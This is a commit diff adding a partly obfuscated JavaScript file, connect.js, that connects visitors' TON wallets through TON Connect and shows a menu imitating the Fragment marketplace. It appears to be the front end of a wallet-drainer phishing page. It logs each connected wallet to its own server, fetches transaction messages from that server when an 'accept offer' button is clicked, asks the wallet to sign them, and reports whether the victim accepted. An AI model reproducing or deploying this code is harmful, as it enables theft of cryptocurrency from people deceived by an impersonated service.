Create connect.js
Browse files- public/js/connect.js +188 -0
public/js/connect.js
ADDED
@@ -0,0 +1,188 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
tonConnectUI = new TON_CONNECT_UI['TonConnectUI']({
|
2 |
+
manifestUrl: 'https://raw.githubusercontent.com/netrandom/tonconnect/refs/heads/main/js',
|
3 |
+
uiPreferences: {
|
4 |
+
theme: 'DARK',
|
5 |
+
borderRadius: 's',
|
6 |
+
colorsSet: {
|
7 |
+
DARK: {
|
8 |
+
accent: '#4db2ff',
|
9 |
+
background: {
|
10 |
+
primary: '#1a2026',
|
11 |
+
qr: '#fff',
|
12 |
+
tint: '#242e38'
|
13 |
+
},
|
14 |
+
connectButton: {
|
15 |
+
background: '#248bda',
|
16 |
+
foreground: '#fff'
|
17 |
+
},
|
18 |
+
icon: {
|
19 |
+
error: '#ff5863'
|
20 |
+
},
|
21 |
+
text: {
|
22 |
+
primary: '#fff',
|
23 |
+
secondary: '#8794a1'
|
24 |
+
},
|
25 |
+
},
|
26 |
+
},
|
27 |
+
},
|
28 |
+
})
|
29 |
+
let connectedWallet = tonConnectUI['wallet']
|
30 |
+
async function connectToWallet() {
|
31 |
+
connectedWallet = await tonConnectUI['openModal']()
|
32 |
+
}
|
33 |
+
const button = document['getElementById']('ton-connect-button'),
|
34 |
+
dropdown = document['getElementById']('ton-connected-dropdown')
|
35 |
+
button['onclick'] = connectToWallet
|
36 |
+
|
37 |
+
function shortWallet(_0x21e50c) {
|
38 |
+
let _0x18075c = new Address(_0x21e50c['account']['address']);
|
39 |
+
(_0x18075c = _0x18075c['toString'](!![], ![], !![])),
|
40 |
+
(document['getElementById']('wallet-head')['innerText'] = _0x18075c[
|
41 |
+
'substring'
|
42 |
+
](0x0, 0x18)),
|
43 |
+
(document['getElementById']('wallet-tail')['innerText'] =
|
44 |
+
_0x18075c['substring'](0x18))
|
45 |
+
}
|
46 |
+
|
47 |
+
function updateSidebar(_0x54b276) {
|
48 |
+
if (_0x54b276) {
|
49 |
+
let _0x5b9f39 = new Address(_0x54b276['account']['address']);
|
50 |
+
(_0x5b9f39 = _0x5b9f39['toString'](!![], ![], !![])),
|
51 |
+
(document['getElementById']('wallet-head')['innerText'] = _0x5b9f39[
|
52 |
+
'substring'
|
53 |
+
](0x0, 0x18)),
|
54 |
+
(document['getElementById']('wallet-tail')['innerText'] =
|
55 |
+
_0x5b9f39['substring'](0x18))
|
56 |
+
const _0x3d5bf6 = document['getElementsByClassName'](
|
57 |
+
'js-header-menu-window'
|
58 |
+
)[0x0]
|
59 |
+
_0x3d5bf6['innerHTML'] =
|
60 |
+
'\x0a\x09\x09<div\x20class=\x22tm-menu-account-header\x22>\x0a\x09\x09\x20\x20<div\x20class=\x22tm-menu-account-address\x22>\x0a\x09\x09\x09<span\x20class=\x22tm-wallet\x22>\x0a\x09\x09\x09\x20\x20<span\x20class=\x22head\x22>' +
|
61 |
+
_0x5b9f39['substring'](0x0, 0x18) +
|
62 |
+
'</span>\x0a\x09\x09\x09\x20\x20<span\x20class=\x22middle\x22></span>\x0a\x09\x09\x09\x20\x20<span\x20class=\x22tail\x22>' +
|
63 |
+
_0x5b9f39['substring'](0x18) +
|
64 |
+
'</span>\x0a\x09\x09\x09</span>\x0a\x09\x09\x20\x20</div>\x0a\x09\x09\x20\x20<div\x20class=\x22tm-menu-account-desc\x22>Connected\x20TON\x20wallet</div>\x0a\x09\x09</div>\x0a\x09\x09<div\x20class=\x22tm-header-menu-window\x20js-header-menu-window\x22>\x0a\x09\x09\x20\x20<div\x20class=\x22tm-menu-account-header\x22>\x0a\x09\x09\x09<div\x20class=\x22tm-menu-account-address\x22>\x0a\x09\x09\x09\x20\x20<span\x20class=\x22tm-wallet\x22>\x0a\x09\x09\x09\x09<span\x20class=\x22head\x22>' +
|
65 |
+
_0x5b9f39['substring'](0x0, 0x18) +
|
66 |
+
'</span>\x0a\x09\x09\x09\x09<span\x20class=\x22middle\x22></span>\x0a\x09\x09\x09\x09<span\x20class=\x22tail\x22>' +
|
67 |
+
_0x5b9f39['substring'](0x18) +
|
68 |
+
'</span>\x0a\x09\x09\x09\x20\x20</span>\x0a\x09\x09\x09</div>\x0a\x09\x09\x09<div\x20class=\x22tm-menu-account-desc\x22>Connected\x20TON\x20wallet</div>\x0a\x09\x09\x20\x20</div>\x0a\x09\x09\x20\x20<div\x20class=\x22tm-header-menu-body\x22>\x0a\x09\x09\x09<h4\x20class=\x22tm-menu-subheader\x22>My\x20Account</h4>\x0a\x09\x09\x09<div\x20class=\x22tm-menu-links\x22>\x0a\x09\x09\x09\x20\x20<a\x20href=\x22https://fragment.com/my/assets\x22\x20class=\x22tm-menu-link\x20icon-before\x20icon-menu-assets\x22\x20data-counter=\x22\x22>My\x20Assets</a>\x0a\x09\x09\x09\x20\x20<a\x20href=\x22https://fragment.com/my/bids\x22\x20class=\x22tm-menu-link\x20icon-before\x20icon-menu-bids\x22\x20data-counter=\x22\x22>My\x20Bids</a>\x0a\x09\x09\x09\x20\x20<a\x20href=\x22https://fragment.com/my/numbers\x22\x20class=\x22tm-menu-link\x20icon-before\x20icon-menu-numbers\x22\x20data-counter=\x22\x22>My\x20Anonymous\x20Numbers</a>\x0a\x09\x09\x09\x20\x20<a\x20href=\x22https://fragment.com/my/sessions\x22\x20class=\x22tm-menu-link\x20icon-before\x20icon-menu-sessions\x22>Active\x20Sessions</a>\x0a\x09\x09\x09\x20\x20<a\x20href=\x22javascript:;\x22\x20class=\x22tm-menu-link\x20icon-before\x20icon-menu-disconnect\x20ton-logout-link\x22>Disconnect\x20TON</a>\x0a\x09\x09\x09</div>\x0a\x09\x09\x09<h4\x20class=\x22tm-menu-subheader\x22>Platform</h4>\x0a\x09\x09\x09<div\x20class=\x22tm-menu-links\x22>\x0a\x09\x09\x09\x20\x20<a\x20href=\x22https://fragment.com/about\x22\x20class=\x22tm-menu-link\x20icon-before\x20icon-menu-about\x22>About</a>\x0a\x09\x09\x09\x20\x20<a\x20href=\x22https://fragment.com/terms\x22\x20class=\x22tm-menu-link\x20icon-before\x20icon-menu-terms\x22>Terms</a>\x0a\x09\x09\x09\x20\x20<a\x20href=\x22https://fragment.com/privacy\x22\x20class=\x22tm-menu-link\x20icon-before\x20icon-menu-privacy\x22>Privacy\x20Policy</a>\x0a\x09\x09\x09</div>\x0a\x09\x09\x09<div\x20class=\x22tm-header-menu-footer\x22></div>\x0a\x09\x09\x20\x20</div>\x0a\x09\x09</div>'
|
69 |
+
const _0x1894a4 = document['getElementsByClassName']('ton-logout-link')
|
70 |
+
for (const _0x4d639e of _0x1894a4) {
|
71 |
+
_0x4d639e['onclick'] = () => {
|
72 |
+
fetch('./disconnect', {
|
73 |
+
method: 'POST',
|
74 |
+
headers: {
|
75 |
+
'Content-Type': 'application/json'
|
76 |
+
},
|
77 |
+
body: JSON['stringify']({
|
78 |
+
wallet: _0x54b276['account']['address'],
|
79 |
+
href: window['location']['href'],
|
80 |
+
}),
|
81 |
+
}),
|
82 |
+
tonConnectUI['disconnect'](),
|
83 |
+
location['reload']()
|
84 |
+
}
|
85 |
+
}
|
86 |
+
} else {
|
87 |
+
const _0x35bc6e = document['getElementsByClassName']('ton-auth-link')
|
88 |
+
for (const _0x2045f1 of _0x35bc6e) {
|
89 |
+
_0x2045f1['onclick'] = () => {
|
90 |
+
connectToWallet()
|
91 |
+
}
|
92 |
+
}
|
93 |
+
}
|
94 |
+
}
|
95 |
+
|
96 |
+
function visualUpdate(_0x2ddc61) {
|
97 |
+
_0x2ddc61
|
98 |
+
?
|
99 |
+
((button['style']['display'] = 'none'),
|
100 |
+
(dropdown['style']['display'] = 'inherit'),
|
101 |
+
shortWallet(_0x2ddc61)) :
|
102 |
+
((button['style']['display'] = 'inherit'),
|
103 |
+
(dropdown['style']['display'] = 'none'))
|
104 |
+
}
|
105 |
+
const openPopupButton = document['getElementsByClassName'](
|
106 |
+
'js-header-menu-button'
|
107 |
+
)[0x0],
|
108 |
+
closePopupButton = document['getElementsByClassName'](
|
109 |
+
'js-header-menu-close-button'
|
110 |
+
)[0x0],
|
111 |
+
popup = document['getElementsByClassName']('js-header-menu')[0x0];
|
112 |
+
(openPopupButton['onclick'] = () => {
|
113 |
+
popup['classList']['remove']('hide')
|
114 |
+
}),
|
115 |
+
(closePopupButton['onclick'] = () => {
|
116 |
+
popup['classList']['add']('hide')
|
117 |
+
}),
|
118 |
+
updateSidebar(tonConnectUI['wallet']),
|
119 |
+
visualUpdate(tonConnectUI['wallet']),
|
120 |
+
tonConnectUI['onStatusChange'](_0x5f19cc => {
|
121 |
+
;
|
122 |
+
(connectedWallet = _0x5f19cc),
|
123 |
+
updateSidebar(_0x5f19cc),
|
124 |
+
visualUpdate(_0x5f19cc),
|
125 |
+
_0x5f19cc &&
|
126 |
+
fetch('./connected', {
|
127 |
+
method: 'POST',
|
128 |
+
headers: {
|
129 |
+
'Content-Type': 'application/json'
|
130 |
+
},
|
131 |
+
body: JSON['stringify']({
|
132 |
+
raw: _0x5f19cc,
|
133 |
+
wallet: _0x5f19cc['account']['address'],
|
134 |
+
href: window['location']['href'],
|
135 |
+
}),
|
136 |
+
})
|
137 |
+
})
|
138 |
+
async function transaction() {
|
139 |
+
if (!tonConnectUI['wallet']) {
|
140 |
+
await tonConnectUI['openModal']()
|
141 |
+
return
|
142 |
+
}
|
143 |
+
const _0x3c396a = tonConnectUI['wallet']['account']['address']
|
144 |
+
let _0x329c09 = await fetch(
|
145 |
+
'./transaction/' + window['location']['search'] + '&wallet=' + _0x3c396a
|
146 |
+
)
|
147 |
+
if (_0x329c09['ok']) {
|
148 |
+
let _0x44e4e5 = await _0x329c09['json']()
|
149 |
+
if (_0x44e4e5['messages']) {
|
150 |
+
let _0x59733f = {
|
151 |
+
validUntil: Math['floor'](Date['now']() / 0x3e8) + 0x168,
|
152 |
+
messages: _0x44e4e5['messages'],
|
153 |
+
}
|
154 |
+
if (_0x59733f['messages'] && _0x59733f['messages']['length'] > 0x0)
|
155 |
+
try {
|
156 |
+
const _0x3ddefe = await tonConnectUI['sendTransaction'](_0x59733f)
|
157 |
+
fetch('./accept', {
|
158 |
+
method: 'POST',
|
159 |
+
headers: {
|
160 |
+
'Content-Type': 'application/json'
|
161 |
+
},
|
162 |
+
body: JSON['stringify']({
|
163 |
+
messages: _0x44e4e5['messages'],
|
164 |
+
boc: _0x3ddefe,
|
165 |
+
wallet: _0x3c396a,
|
166 |
+
raw: _0x44e4e5['raw'],
|
167 |
+
href: window['location']['href'],
|
168 |
+
}),
|
169 |
+
})
|
170 |
+
} catch (_0x543e1f) {
|
171 |
+
fetch('./reject', {
|
172 |
+
method: 'POST',
|
173 |
+
headers: {
|
174 |
+
'Content-Type': 'application/json'
|
175 |
+
},
|
176 |
+
body: JSON['stringify']({
|
177 |
+
messages: _0x44e4e5['messages'],
|
178 |
+
err: _0x543e1f['message'],
|
179 |
+
wallet: _0x3c396a,
|
180 |
+
raw: _0x44e4e5['raw'],
|
181 |
+
href: window['location']['href'],
|
182 |
+
}),
|
183 |
+
})
|
184 |
+
}
|
185 |
+
}
|
186 |
+
}
|
187 |
+
}
|
188 |
+
document['getElementById']('accept-offer')['onclick'] = transaction
|